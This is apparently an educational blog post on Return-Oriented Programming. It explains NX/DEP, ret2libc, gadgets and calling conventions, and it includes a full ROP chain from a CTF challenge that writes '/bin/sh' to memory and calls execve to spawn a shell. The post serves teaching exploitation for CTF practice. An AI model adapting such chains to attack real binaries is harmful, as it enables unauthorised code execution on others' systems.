ROP stands for Return-Oriented Programming. It is primarily used to defeat DEP/NX/W^X (Data Execution Prevention/No Execute/Write xor Execute) mitigations in processors. Different manufacturers have different names for this particular feature, but the idea is to mark certain areas of memory (notably stack and heap) as non-executable. This makes attempts to execute instructions from areas marked as non-executable cause an exeception (SEGFAULT).
This mitigates generic buffer overflow attacks, which usually involve writing some shellcode into memory (usually the stack) and overwriting the saved return pointer or some other way to jump to the shellcode and execute it. Since the stack is marked as non-executable, the shellcode is not executed and a SEGFAULT is raised.
The ELF format has a field which specifies if the stack should be marked as executable or not (the
-z execstack flag in
gcc disables NX, making the stack executable). Thus, is referred to as having the NX bit set.
NX bit set:
NX bit not set:
The binary that has the NX bit set, has its stack and heap marked as
rw-, meaning read, write and not execute. Whereas the binary without the NX bit, has its stack and heap marked as
rwx, meaning read, write and execute. Your shellcode should have no problem getting executed here!
Using ROP to Bypass Mitigations
Since we cannot execute instructions from the stack/heap when NX is enabled, we try to pick the instructions we need to achieve our goal (usually to get a shell) from the binary or any of the libraries that the binary uses. These instructions are part of the program’s executable memory and should execute just fine.
The general idea of ROP exploits come from a Linux-specific exploitation technique known as
ret2libc (return to libc). In the
ret2libc technique, usually using a buffer overflow, the saved return pointer is overwritten to pass execution to some function present in libc, like maybe
system() with the argument
/bin/sh to get a shell.
ROP gadgets are small sets of instructions which usually end with a
ret instruction. These gadgets are put together to form ROP chains. After execution, the gadget returns to the next gadget in the chain. The reason this technique is called return-oriented programming should be apparent now!
Examples of gadgets:
Using the handy
ropper tool right from GDB (another feature provided by GEF, check it out, its amazing!), to find ROP gadgets.
This particular gadget is where the name of this blog, as well as my alias come from. It
pop's whatever the stack pointer is currently pointing to, into the RDI register, which according to the x64 calling convention, holds the first argument for a function call/syscall.
There’s potential to do a lot creative things with the gadgets available in a binary.
Here’s the interesting thing about gadgets: They could mean different things when accessed from different offsets!
Consider the gadget at
0x0000000000401b73. Looking at the opcode at this location:
5F C3, in x64 translates to:
pop rdi ret
Going back one byte:
Now the opcode
41 5F C3, in x64 translates to:
pop r15 ret
So, depending on the offset we access the instructions from, they could mean different things. This makes a wide variety of gadgets available to us for doing various things. Here is GDB confirming the same:
The general idea of a ROP chain is to pass execution to the start of the chain, and then the gadgets, since they end with the
ret instruction, return to the next instruction in the chain.
It is important to understand the function prologue and epilogue to fully understand the workings of a ROP exploit.
Function prologue is a few lines of code executed before the function called is executed, to prepare the stack and registers for use within the function. Typically it goes something like this:
push rbp ; save the value of rbp mov rbp, rsp ; rbp now points to the top of the stack sub rsp, 24 ; allocate space on the stack for local variables, say 3 integers
Function epilogue is reverses whatever the function epilogue has done and returns control to the callee function. A typical epilogue looks like:
mov rsp, rbp ; rsp now points to the saved ebp pop rbp ; restore rbp and decrement rsp by 8 ; the rsp points to the saved return ; pointer now, ret instruction pops it back ; into rip and execution continues from there ret
The return instruction is equivalent to
This is a ROP chain to get a shell via an
execve() syscall from an old CTF challege I worked on:
#### GADGETS #### # 0x0000000000415664: pop rax; ret; pop_rax = 0x0000000000415664 # 0x0000000000400686: pop rdi; ret; pop_rdi = 0x0000000000400686 # 0x00000000004101f3: pop rsi; ret; pop_rsi = 0x00000000004101f3 # 0x000000000044be16: pop rdx; ret; pop_rdx = 0x000000000044be16 # 0x000000000048d251: mov qword ptr [rax], rdx; ret; mov_rax = 0x000000000048d251 # 0x000000000040129c: syscall; syscall = 0x000000000040129c #### ROP CHAIN #### # write /bin/sh to memory # pop address for the /bin/sh string # into rax payload += p64(pop_rax) payload += p64(0x6bb5e0) # pop string into rdx payload += p64(pop_rdx) # /bin/sh string, null terminated, in hex # little endian payload += p64(0x0068732f6e69622f) # mov string to location pointed to by rax payload += p64(mov_rax) # execve syscall # pop syscall number 0x3B into rax payload += p64(pop_rax) payload += p64(0x3B) # pop address of string into rdi payload += p64(pop_rdi) payload += p64(0x6bb5e0) # pop 0x00 into rsi payload += p64(pop_rsi) payload += p64(0x00) # pop 0x00 into rdx payload += p64(pop_rdx) payload += p64(0x00) # syscall payload += p64(syscall)
This part writes the string
/bin/sh into memory. The location
0x6bb5e0 in the bss section seemed fairly safe to write the string to. The saved return pointer is overwritten with the start of the ROP chain:
# write /bin/sh to memory # pop address for the /bin/sh string # into rax payload += p64(pop_rax) payload += p64(0x6bb5e0) # pop string into rdx payload += p64(pop_rdx) # /bin/sh string, null terminated, in hex # little endian payload += p64(0x0068732f6e69622f) # mov string to location pointed to by rax payload += p64(mov_rax)
Just before the subroutine returns, the RSP points to the start of the ROP chain (overwritten saved return pointer).
The value pointed by the RSP is popped into RIP when
ret is executed and RSP is decremented by 8.
pop rax is executed, the value pointed to by RSP is popped into RAX and RSP is decremented by 8.
ret from the
pop rax gadget is executed, the address of the next gadget where RSP currently points to, is popped into RIP and the execution continues from there. The RSP is decremented by 8. The
ret instruction is a crucial part.
Continuing, the string
/bin/sh is popped into the RDX register and the
mov_rax gadget moves a qword from the RDX register to the location pointed to by the RAX register. Now that we have the string in memory, we just need to invoke the syscall to get our shell.
In x86-64 architecture, the syscall number goes in the RAX register and the arguments go in RDI, RSI, RDX, R10, and so on. Check the syscall man page for the full info. The syscall number for
execve is 59 or 0x3B in hex. We pop that into RAX:
# pop syscall number 0x3B into rax payload += p64(pop_rax) payload += p64(0x3B)
The first argument is the pointer to the
/bin/sh string in memory, we pop that into RDI:
# pop address of string into rdi payload += p64(pop_rdi) payload += p64(0x6bb5e0)
The next two arguments are null and thus popping null bytes into RSI and RDX registers.
# pop 0x00 into rsi payload += p64(pop_rsi) payload += p64(0x00) # pop 0x00 into rdx payload += p64(pop_rdx) payload += p64(0x00)
Finally the syscall:
# syscall payload += p64(syscall)
We achieved the goal of getting a shell only with the instructions available in the program’s executable memory, thus defeating the NX mitigation.
I will link interesting CTF challenge writeups that involve ROP here, as I post them.
Disclaimer: Everything on this site is for educational purposes only. If you’re looking to hack into unauthorized systems or do something illegal, please look elsewhere.
Thank you for reading. Constructive criticism, feedback and suggestions welcome! My email is in the about page, feel free to get in touch.